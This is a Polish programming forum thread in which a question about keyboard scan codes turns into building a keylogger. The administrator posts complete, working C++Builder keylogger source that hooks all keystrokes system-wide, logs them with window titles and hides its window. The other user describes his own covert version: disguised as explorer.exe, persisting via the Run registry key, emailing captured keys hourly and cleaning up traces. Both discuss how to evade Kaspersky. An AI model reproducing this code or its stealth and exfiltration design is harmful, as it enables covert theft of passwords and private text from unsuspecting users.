CYFROWY BARON • PROGRAMOWANIE • Zobacz wątek - Kody skaningowe klawiszy na czytelne dane

Kody skaningowe klawiszy na czytelne dane

dział ogólny

Kody skaningowe klawiszy na czytelne dane

Nowy postprzez Slynx » czwartek, 2 czerwca 2011, 13:18

Potrzebuje coś szybkiego do zamiany typów z kodów skaningowych na czytelne dane. Może jest jakaś funkcja czy coś ? Bo nawet czystko mechaniczną metodą (replace) może to być trudne (shift, backspace). Można to jakoś szybko zamienić ? (Mam tekst na ok. 500 KB)
Jeśli nie ma czegoś takiego, to dobre byłoby wyjaśnienie sposobu zamiany niektórych klawiszy. Z tego co pamiętam, to klawisze funkcyjne określały swoje stany i ich ponowne wywołanie powodowało zwolnienie klawisza, ale może się mylę, dawno się tym nie zajmowałem(pascal)
Avatar użytkownika
Slynx
Mądrosław
Mądrosław
 
Posty: 350
Dołączył(a): piątek, 17 grudnia 2010, 21:59
Podziękował : 11
Otrzymał podziękowań: 0
System operacyjny: Windows 7 32
Kompilator: Visual C++ 2005; Visual C++ 2008; Visual C++ 2010; Visual C# 2010;
Gadu Gadu: 0
    Windows 7Chrome

Re: Kody skaningowe klawiszy na czytelne dane

Nowy postprzez Cyfrowy Baron » piątek, 3 czerwca 2011, 09:33

Nie rozumiem! Co to są kody skaningowe?

Może chodzi Tobie o sprawdzenie stanu klawiszy modyfikujących, czyli SHIFT, CONTROL, ALT, itp?! :o

Chcesz sprawdzić, czy ten klawisz jest wciśnięty? Gdybym chciał sprawdzić czy wciśnięto klawisz Ctrl, to przechwyciłbym komunikat o wciśnięciu klawisza:

Plik nagłówkowy np. Unit1.h
KOD cpp:     UKRYJ  
private:
      TWndMethod KeyApp;
          void __fastcall GetKeyApp(TMessage &Msg);


Plik źródłowy np. Unit1.cpp
KOD cpp:     UKRYJ  
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
 KeyApp = this->WindowProc;
 this->WindowProc = GetKeyApp;
}
//---------------------------------------------------------------------------
void __fastcall TForm1::GetKeyApp(TMessage &Msg)
{
 if(Msg.Msg == WM_KEYDOWN)
 {
   if( GetKeyState(VK_CONTROL) < 0 )
   {
   ShowMessage("Wciśnięto Ctrl");
   }
 }

 if(Msg.Msg == WM_KEYUP)
 {
   if( GetKeyState(VK_CONTROL) < 0 )
   {
   ShowMessage("Zwolniono Ctrl");
   }
 }

 KeyApp(Msg);
}


Pewnie jednak to nie o to Tobie chodzi, więc o co?
Avatar użytkownika
Cyfrowy Baron
Administrator
Administrator
 
Posty: 4716
Dołączył(a): niedziela, 13 lipca 2008, 15:17
Podziękował : 12
Otrzymał podziękowań: 442
System operacyjny: Windows 7 x64 SP1
Kompilator: Embarcadero RAD Studio XE2
C++ Builder XE2 Update 4
SKYPE: cyfbar
Gadu Gadu: 0
    Windows XPFirefox

Re: Kody skaningowe klawiszy na czytelne dane

Nowy postprzez Slynx » niedziela, 5 czerwca 2011, 09:20

[...] Treść usunięta przez administratora. Użytkownik otrzymał ostrzeżenie za osobiste wycieczki pod adresem innych forumowiczów. To nie jest HydePark.



"Kody skaningowe różnią się od kodów ASCII numeracją, na przykład w kodzie ASCII klawiszowi a odpowiada liczba 97, natomiast kodzie skaningowym odpowiada mu liczba 30. Kod skaningowy w odróżnieniu od ASCII nie wyróżnia wielkich i małych liter, wielkość liter jest rozstrzygana w oparciu o stan klawiszy Caps Lock i Shift"

to tyle w kwestii krótkiego teoretycznego wstępu. Co do tego co napisałeś. Z tego co widzę to korzystasz z standardowych funkcji dla TForm, a te przestaną one wyłapywać klawisze gdy okno gdy TForm straci swój "focus". Ale to w sumie bez znaczenia.

I tak jak mówisz. Trzeba łapać stan naciśnięcia klawisza. Problem w tym, że ja nie mogę na bieżącą analizować każdego klawisza. Albo może inaczej...
Chodzi mi o to, że po naciśnięciu klawisza, w funkcji (a raczej właściwości) keyValue znajduje się String-owa reprezentacja danego klawisza (lshift, lctrl, itp) oraz klawiszy kierunkowych (up, down, left, right) i problemem było to, że jak ja wyłapię cały taki tekst, który jest wpisywany na klawiaturze, np. "angielskie słówko right jest przeciwieństwem słówka left" to nie odróżnię, czy te left i right należą do klawiszy funkcyjnych, czy do tekstu napisanego przez użytkownika.

A nie odpisywałem, bo już sobie z tym poradziłem i poszedłem dalej. Wystarczyło dorzucić co klawisz separator, którego nie ma w kodach skaningowych, a słówko right będzie wyglądać,np. "|R|I|G|H|T|" natomiast klawisz funkcyjny "|RIGHT|". Trzeba było się tylko chwilkę zastanowić : /



[...]Treść usunięta.
Avatar użytkownika
Slynx
Mądrosław
Mądrosław
 
Posty: 350
Dołączył(a): piątek, 17 grudnia 2010, 21:59
Podziękował : 11
Otrzymał podziękowań: 0
System operacyjny: Windows 7 32
Kompilator: Visual C++ 2005; Visual C++ 2008; Visual C++ 2010; Visual C# 2010;
Gadu Gadu: 0
    Windows 7Chrome

Re: Kody skaningowe klawiszy na czytelne dane

Nowy postprzez Cyfrowy Baron » niedziela, 5 czerwca 2011, 09:37

Jak widzę chodziło Tobie o keyloger, czyli przechwytywanie wyjścia z klawiatury. Opisałem to w serwisie Cyfrowy Baron dział: porady -> API, porada: Keyloger, czyli przechwytywanie wciśnięcia klawiszy we wszystkich programach.
Avatar użytkownika
Cyfrowy Baron
Administrator
Administrator
 
Posty: 4716
Dołączył(a): niedziela, 13 lipca 2008, 15:17
Podziękował : 12
Otrzymał podziękowań: 442
System operacyjny: Windows 7 x64 SP1
Kompilator: Embarcadero RAD Studio XE2
C++ Builder XE2 Update 4
SKYPE: cyfbar
Gadu Gadu: 0
    Windows XPFirefox

Re: Kody skaningowe klawiszy na czytelne dane

Nowy postprzez Slynx » niedziela, 5 czerwca 2011, 09:44

... co nie zmienia faktu, że to co wyłapujesz nazywane jest kodami skaningowymi. Ale nie ma sensu bym coś więcej mówił, bo...

Dzięki, za pomoc. Już skończyłem. keylogger działa doskonale, a kaspersky nawet go nie ruszył co było dla mnie zaskoczeniem.
Avatar użytkownika
Slynx
Mądrosław
Mądrosław
 
Posty: 350
Dołączył(a): piątek, 17 grudnia 2010, 21:59
Podziękował : 11
Otrzymał podziękowań: 0
System operacyjny: Windows 7 32
Kompilator: Visual C++ 2005; Visual C++ 2008; Visual C++ 2010; Visual C# 2010;
Gadu Gadu: 0
    Windows 7Chrome

Re: Kody skaningowe klawiszy na czytelne dane

Nowy postprzez Cyfrowy Baron » niedziela, 5 czerwca 2011, 09:50

Slynx napisał(a):Dzięki, za pomoc. Już skończyłem. keylogger działa doskonale, a kaspersky nawet go nie ruszył co było dla mnie zaskoczeniem.


To kwestia konfiguracji programu. Też używam Kaspersky i u mnie wyłapuje keylogery.
Avatar użytkownika
Cyfrowy Baron
Administrator
Administrator
 
Posty: 4716
Dołączył(a): niedziela, 13 lipca 2008, 15:17
Podziękował : 12
Otrzymał podziękowań: 442
System operacyjny: Windows 7 x64 SP1
Kompilator: Embarcadero RAD Studio XE2
C++ Builder XE2 Update 4
SKYPE: cyfbar
Gadu Gadu: 0
    Windows XPFirefox

Re: Kody skaningowe klawiszy na czytelne dane

Nowy postprzez Cyfrowy Baron » niedziela, 5 czerwca 2011, 09:57

Chciałem dodać jeszcze jedno. Często na różnych forach można przeczytać, że keylogery powinno się tworzyć w bibliotece DLL, gdyż wywołane bezpośrednio z programu nie działają. Chcę to zdementować. Przed chwilą przetestowałem ponownie kod podany w serwisie Cyfrowy Baron w dziale: porady -> API -> Keyloger, czyli przechwytywanie wciśnięcia klawiszy we wszystkich programach i działa znakomicie. Nie ma potrzeby tworzenia biblioteki DLL, poza sytuację, gdy chce się ukryć keyloger, ale i to wymaga stworzenia biblioteki jako usługi systemowej, w przeciwnym razie keyloger zawsze będzie widoczny na liście procesów w Menadżerze zadań.

Kod keylogera dla Embarcadero RAD C++Builder, mapowanie ustawione na char:

KOD cpp:     UKRYJ  
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "Unit1.h"
#include <stdio.h>
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"

HHOOK g_hLogHook       = NULL;
HWND g_hLastFocus      = NULL;
const int KeyPressMask = 0x80000000;
char g_PrvChar;

HOOKPROC ConnectHook(int iCode, WPARAM wParam, LPARAM lParam)
{
 if(iCode < 0) return (HOOKPROC)CallNextHookEx(g_hLogHook, iCode, wParam, lParam);

 EVENTMSG *pEvt = (EVENTMSG *)lParam;
 int i;
 HWND hFocus;
 char szTitle[256];
 char szTime[128];
 FILE *stream = fopen("c:\\logfile.txt", "a+t"); //rejestr keylogera zostaje zapisany w pliku logfile.txt na dysku c:

 if(pEvt->message == WM_KEYDOWN)
 {
  int vKey = LOBYTE(pEvt->paramL);
  char ch;
  char str[10];
  hFocus = GetActiveWindow();

  if(g_hLastFocus != hFocus)
  {
   GetWindowTextA(hFocus, szTitle, 256);
   g_hLastFocus = hFocus;
   strcpy(szTime, DateTimeToStr(Now()).t_str());
   fprintf(stream, "%c%s%c%c%s%s", 10, szTime, 32, 32, szTitle, ":");
   fprintf(stream, "%c%c", 32, 32);
  }

  int iShift   = GetKeyState(0x10);
  int iCapital = GetKeyState(0x14);
  int iNumLock = GetKeyState(0x90);

  bool bShift   = (iShift & KeyPressMask) == KeyPressMask;
  bool bCapital = (iCapital & 1) == 1;
  bool bNumLock = (iNumLock & 1) == 1;

  if(vKey >= 48 && vKey <= 57)
  if(!bShift) fprintf(stream, "%c", vKey);

  if(vKey >= 65 && vKey <= 90)
  {
   if(!bCapital)
   {
    if(bShift)
    {
     ch = vKey;
    }
    else
    {
     ch = vKey + 32;
    }
   }
   else
    if(bShift)
    {
     ch = vKey + 32;
    }
    else
    {
     ch = vKey;
    }
    fprintf(stream, "%c", ch);
   }

   if(vKey >= 96 && vKey <= 105)
   if(bNumLock) fprintf(stream, "%c", vKey - 96 + 48);
   if(vKey >= 186 && vKey <= 222)
   {
    switch(vKey)
    {
     case 186: if(!bShift) ch = ';';  else ch = ':';   break;
     case 187: if(!bShift) ch = '=';  else ch = '+';   break;
     case 188: if(!bShift) ch = ',';  else ch = '<';   break;
     case 189: if(!bShift) ch = '-';  else ch = '_';   break;
     case 190: if(!bShift) ch = '.';  else ch = '>';   break;
     case 191: if(!bShift) ch = '/';  else ch = '?';   break;
     case 192: if(!bShift) ch = '`';  else ch = '~';   break;
     case 219: if(!bShift) ch = '[';  else ch = '{';   break;
     case 220: if(!bShift) ch = '\\'; else ch = '?';   break;
     case 221: if(!bShift) ch = ']';  else ch = '}';   break;
     case 222: if(!bShift) ch = '\''; else ch = '\"';  break;
     default: ch = 'n'; break;
    }
    if(ch != 'n') fprintf(stream, "%c", ch);
   }
   if(vKey >= 8 && vKey <= 46)
   {
    switch(vKey)
    {
     case 8:  strcpy(str, "[BK]");   break;
     case 9:  strcpy(str, "[TAB]");  break;
     case 13: strcpy(str, "[EN]");   break; // ENTER
     case 17: strcpy(str, "[rALT]"); break; // prawy ALT
     // case 18: strcpy(str, "[lALT]"); break; // lewy ALT
     case 32: strcpy(str, " ");      break; // spacja
     case 33: strcpy(str, "[PU]");   break;
     case 34: strcpy(str, "[PD]");   break;
     case 35: strcpy(str, "[END]");  break;
     case 36: strcpy(str, "[HOME]"); break;
     case 37: strcpy(str, "[LF]");   break;
     case 38: strcpy(str, "[UF]");   break;
     case 39: strcpy(str, "[RF]");   break;
     case 40: strcpy(str, "[DF]");   break;
     case 45: strcpy(str, "[INS]");  break;
     case 46: strcpy(str, "[DEL]");  break;
     default: ch = 'n'; break;
    }
    if(ch != 'n') fprintf(stream, "%s", str);
   }
   if(bShift && vKey == 123)
   {
    Application->Restore();
    ShowWindow(Application->Handle, SW_SHOW);

    if(g_hLogHook != NULL)
    {
     UnhookWindowsHookEx(g_hLogHook);
     g_hLogHook = NULL;
    }
   }
  }
  if(pEvt->message == WM_LBUTTONDOWN && pEvt->message == WM_RBUTTONDOWN)
  {
   hFocus = GetActiveWindow();
   if(g_hLastFocus != hFocus)
   {
    g_hLastFocus = hFocus;
    GetWindowText(hFocus, szTitle, 256);
    strcpy(szTime, DateTimeToStr(Now()).t_str());
    fprintf(stream, "%c%s%c%c%s%s", 10, szTime, 32, 32, szTitle, ":");
    fprintf(stream, "%c%c", 32, 32);
   }
  }
  fclose(stream);

  return (HOOKPROC)CallNextHookEx (g_hLogHook, iCode, wParam, lParam);
}

TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{
 if(g_hLogHook == NULL)
  g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD, (HOOKPROC)ConnectHook, HInstance,0);

 Application->Minimize();
 ShowWindow(Application->Handle, SW_HIDE);
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button2Click(TObject *Sender)
{
 if(g_hLogHook != NULL)
 {
  UnhookWindowsHookEx(g_hLogHook);
  g_hLogHook = NULL;
 }
}


Keylogera nie należy testować z poziomu IDE środowiska.
Avatar użytkownika
Cyfrowy Baron
Administrator
Administrator
 
Posty: 4716
Dołączył(a): niedziela, 13 lipca 2008, 15:17
Podziękował : 12
Otrzymał podziękowań: 442
System operacyjny: Windows 7 x64 SP1
Kompilator: Embarcadero RAD Studio XE2
C++ Builder XE2 Update 4
SKYPE: cyfbar
Gadu Gadu: 0
    Windows XPFirefox

Re: Kody skaningowe klawiszy na czytelne dane

Nowy postprzez Cyfrowy Baron » niedziela, 5 czerwca 2011, 10:05

Slynx napisał(a):... co nie zmienia faktu, że to co wyłapujesz nazywane jest kodami skaningowymi.


Mój keyloger wyłapuje kody ASCII klawiszy i rozróżnia wielkość liter.

Przykładowy log z mojego keylogera:


2011-06-05 09:49:17 Fast Dial - Mozilla Firefox: www.onet.pl
2011-06-05 09:56:22 Bez tytułu - Notatnik: Ala Msa[BK][BK]a Kota




Zauważ, że log zawiera wielkie litery, czyli używałem klawisza SHIFT, ale jego stan nie został zapisany w logu, lecz zapisano wielkie litery, czyli zapisany został efekt użycia klawisza SHIFT. Po prostu uważałem za zbędne wpisywanie tego stanu klawisza skoro można od razu wpisywać litery tak jak zostały użyte. No ale to zależy od tego, do czego chcesz ten keyloger wykorzystać.
Avatar użytkownika
Cyfrowy Baron
Administrator
Administrator
 
Posty: 4716
Dołączył(a): niedziela, 13 lipca 2008, 15:17
Podziękował : 12
Otrzymał podziękowań: 442
System operacyjny: Windows 7 x64 SP1
Kompilator: Embarcadero RAD Studio XE2
C++ Builder XE2 Update 4
SKYPE: cyfbar
Gadu Gadu: 0
    Windows XPFirefox

Re: Kody skaningowe klawiszy na czytelne dane

Nowy postprzez Slynx » niedziela, 5 czerwca 2011, 10:07

Chciałem dodać jeszcze jedno. Często na różnych forach można przeczytać, że keylogery powinno się tworzyć w bibliotece DLL, gdyż wywołane bezpośrednio z programu nie działają


Tak, wiem. Są czasami jakieś problemy, ale dokładnie nie wiem o co chodzi.
Mam dwa pliki. Plik explorer.exe o wielkości 10 KB i bibliotekach do obsługi wyłapywania pisana w winapi. Muszę jeszcze przepisać wysyłanie maili, by nie korzystało z .net, to będzie można było odpalić takiego keyloggera nawet na win98. Bo jak na razie to pakiety redystrybucyjne visuala muszą być (choć i tak wszystkie systemy win 7, vista i xp (po aktualizacjach) mają je zainstalowane, ale np. mój drugi komputer ma świeżego xp (home) i na nim się nie odpalił (niewłaściwa inicjalizacja - brak frameworka).
Mój keylogger tylko dodawał wpis do rejestru do klucza run. Ale że to wszystko takie testowe to się tym nie przejmuje. I fakt, lepiej byłoby to odpalić jako usługę. Trudniej wykryć. Jednak to są już szczegóły techniczne.
Fakt faktem działa.
Po uruchomieniu systemu automatycznie zaczyna nasłuchiwać (interval = 10s) na uruchomienie odpowiedniej aplikacji, po uruchomieniu (interval = 2s) zaczyna od razu wyłapywać wszystkie klawisze i co godzinę wysyła wszystkie zebrane dane od czasu ostatniej wysyłki. Jeszcze chciałem dodać coś takiego jak "automatyczna neutralizacja", czyli, żeby po sobie posprzątał, ale jako, że sam siebie nie może usunąć, można to zlecić jakiejś usłudze windowsowej by go zdeinstalowała i usunęła, tak by nie został żaden ślad.

----
Mój keyloger wyłapuje kody ASCII klawiszy i rozróżnia wielkość lite


Twój keylogger wyłapuje ... sam nie wiem co to jest... widać trochę się zmieniło od lat 90 ; p Ale jeśli sprawdzasz stan klawiszy shift i innych funkcyjnych, a na podstawie jego stanu określasz wielkość liter to funkcja nadal wyrzuca kody skaningowe (cóż, tablica kodów skaningowych przez ten czas mogła się trochę rozrosnąć (pierwotnie kodów było chyba 86 albo 87))
Ostatnio edytowano niedziela, 5 czerwca 2011, 10:17 przez Slynx, łącznie edytowano 1 raz
Avatar użytkownika
Slynx
Mądrosław
Mądrosław
 
Posty: 350
Dołączył(a): piątek, 17 grudnia 2010, 21:59
Podziękował : 11
Otrzymał podziękowań: 0
System operacyjny: Windows 7 32
Kompilator: Visual C++ 2005; Visual C++ 2008; Visual C++ 2010; Visual C# 2010;
Gadu Gadu: 0
    Windows 7Chrome

Re: Kody skaningowe klawiszy na czytelne dane

Nowy postprzez Cyfrowy Baron » niedziela, 5 czerwca 2011, 10:16

Slynx napisał(a):Po uruchomieniu systemu automatycznie zaczyna nasłuchiwać (interval = 10s) na uruchomienie odpowiedniej aplikacji, po uruchomieniu (interval = 2s) zaczyna od razu wyłapywać wszystkie klawisze


Więc działa inaczej. Mój keyloger wyłapuje wszystkie komunikaty systemowe (haki), ale reaguje tylko na komunikat WM_KEYDOWN i wyłapuje wszystkie klawisze. Można mu oczywiście dodać filtrowanie tylko dla wybranej aplikacji, ale nie widzę potrzeby wprowadzania interwałów opóźniających, gdyż to niczego nie zmieni.
Avatar użytkownika
Cyfrowy Baron
Administrator
Administrator
 
Posty: 4716
Dołączył(a): niedziela, 13 lipca 2008, 15:17
Podziękował : 12
Otrzymał podziękowań: 442
System operacyjny: Windows 7 x64 SP1
Kompilator: Embarcadero RAD Studio XE2
C++ Builder XE2 Update 4
SKYPE: cyfbar
Gadu Gadu: 0
    Windows XPFirefox

Re: Kody skaningowe klawiszy na czytelne dane

Nowy postprzez Slynx » niedziela, 5 czerwca 2011, 10:18

A po co ma wyłapywać wszystkie ? Mój się uaktywnia TYLKO w przypadku uruchomienia aplikacji z której dane chcemy pobrać. Po co ma wyłapywać wszystko i filtrować, lepiej od razu zacząć wyłapywać tylko to co nam jest potrzebne.

---
Kod: Zaznacz cały
ch = vKey


W sumie nie sprawdziłem, ale może rzeczywiście coś takiego u mnie by działało ; p To ta cała zabawa nie była by potrzebna, jeśli oczywiście przekazywał by do tej zmiennej odpowiedni kod.
Avatar użytkownika
Slynx
Mądrosław
Mądrosław
 
Posty: 350
Dołączył(a): piątek, 17 grudnia 2010, 21:59
Podziękował : 11
Otrzymał podziękowań: 0
System operacyjny: Windows 7 32
Kompilator: Visual C++ 2005; Visual C++ 2008; Visual C++ 2010; Visual C# 2010;
Gadu Gadu: 0
    Windows 7Chrome

Re: Kody skaningowe klawiszy na czytelne dane

Nowy postprzez Cyfrowy Baron » niedziela, 5 czerwca 2011, 10:28

Slynx napisał(a):A po co ma wyłapywać wszystkie ? Mój się uaktywnia TYLKO w przypadku uruchomienia aplikacji z której dane chcemy pobrać.


Keyloger jest aktywny cały czas po zamontowaniu haka, czyli nawet u Ciebie, gdy zamontujesz hak to keyloger już wyłapuje wszystkie komunikaty, ale nie reaguje na nie. Zaczyna reagować dopiero, gdy wykryje odpowiednią aplikację. Zauważ, że u mnie nie ma żadnego zegara, a mimo to keyloger wykrywa programy gdy tylko zostaną uaktywnione (patrz log). Dlatego pisałem, że opóźnienie jest zbędne i zegar również. Po zamontowaniu haka program działa w trybie nieskończonej pętli tak długo, aż nie odmontujesz haka, czyli cały program jest niczym zegar.
Avatar użytkownika
Cyfrowy Baron
Administrator
Administrator
 
Posty: 4716
Dołączył(a): niedziela, 13 lipca 2008, 15:17
Podziękował : 12
Otrzymał podziękowań: 442
System operacyjny: Windows 7 x64 SP1
Kompilator: Embarcadero RAD Studio XE2
C++ Builder XE2 Update 4
SKYPE: cyfbar
Gadu Gadu: 0
    Windows XPFirefox

Re: Kody skaningowe klawiszy na czytelne dane

Nowy postprzez Slynx » niedziela, 5 czerwca 2011, 10:37

No właśnie, po zainstalowaniu haka. A mój instaluje haka DOPIERO gdy wykryje, że konkretna aplikacja znajduje się w procesach. Choć w sumie nie wiem które rozwiązanie jest tak na prawdę lepsze. Czy pobieranie listy procesów i założenia haka, dopiero po znalezieniu wymaganej aplikacji, czy założenie go przy starcie i ciągłe wyłapywanie, a potem tylko filtr. A raczej nie lepsze, tylko bezpieczniejsze, czy takie ciągłe sprawdzanie listy procesów antywir nie uzna za podejrzane.
Jak na razie nie miał z tym problemów, więc chyba nie jest tak źle...
Avatar użytkownika
Slynx
Mądrosław
Mądrosław
 
Posty: 350
Dołączył(a): piątek, 17 grudnia 2010, 21:59
Podziękował : 11
Otrzymał podziękowań: 0
System operacyjny: Windows 7 32
Kompilator: Visual C++ 2005; Visual C++ 2008; Visual C++ 2010; Visual C# 2010;
Gadu Gadu: 0
    Windows 7Chrome

Re: Kody skaningowe klawiszy na czytelne dane

Nowy postprzez Cyfrowy Baron » niedziela, 5 czerwca 2011, 10:50

Slynx napisał(a):A raczej nie lepsze, tylko bezpieczniejsze, czy takie ciągłe sprawdzanie listy procesów antywir nie uzna za podejrzane.


Jeżeli Kaspersky zostanie ustawiony na wykrywanie programów podłączających się pod haki systemowe, to wcześniej czy później i tak go wykryje. Lepszym rozwiązaniem wydaje mi się montowanie haka od razu, gdyż ciągłe sprawdzanie listy procesów jest bardziej proceso-chłonne, a łapanie haków już nie.
Avatar użytkownika
Cyfrowy Baron
Administrator
Administrator
 
Posty: 4716
Dołączył(a): niedziela, 13 lipca 2008, 15:17
Podziękował : 12
Otrzymał podziękowań: 442
System operacyjny: Windows 7 x64 SP1
Kompilator: Embarcadero RAD Studio XE2
C++ Builder XE2 Update 4
SKYPE: cyfbar
Gadu Gadu: 0
    Windows XPFirefox

Re: Kody skaningowe klawiszy na czytelne dane

Nowy postprzez Slynx » niedziela, 5 czerwca 2011, 11:18

Jeżeli Kaspersky zostanie ustawiony na wykrywanie programów podłączających się pod haki systemowe, to wcześniej czy później i tak go wykryje. Lepszym rozwiązaniem wydaje mi się montowanie haka od razu, gdyż ciągłe sprawdzanie listy procesów jest bardziej proceso-chłonne, a łapanie haków już nie


Chyba, że dojdziemy do wniosku, że łatwiej jest wykryć zainstalowanego haka niż cykliczne sprawdzanie aktywnych procesów, to lepszym rozwiązaniem okaże się moje ; p

No cóż, "każdy rycerz ma swój mieczyk", więc takie rozważania są trochę bezsensowne. Akurat w przypadku keyloggera wszystko zależy od tego jak skonfigurowany jest komputer (i antywir) na którym chcemy nasz program "przechować". Może ktoś bardziej "wtajemniczony" w działanie systemów ochrony Windows i programów antywirusowych mógłby powiedzieć coś więcej na temat tego, które rozwiązanie jest lepsze.
Avatar użytkownika
Slynx
Mądrosław
Mądrosław
 
Posty: 350
Dołączył(a): piątek, 17 grudnia 2010, 21:59
Podziękował : 11
Otrzymał podziękowań: 0
System operacyjny: Windows 7 32
Kompilator: Visual C++ 2005; Visual C++ 2008; Visual C++ 2010; Visual C# 2010;
Gadu Gadu: 0
    Windows 7Chrome

Następna strona

  • Podobne tematy
    Odpowiedzi
    Wyświetlone
    Ostatni post

Powrót do Ogólne problemy z programowaniem

Kto przegląda forum

Użytkownicy przeglądający ten dział: Brak zalogowanych użytkowników i 55 gości

cron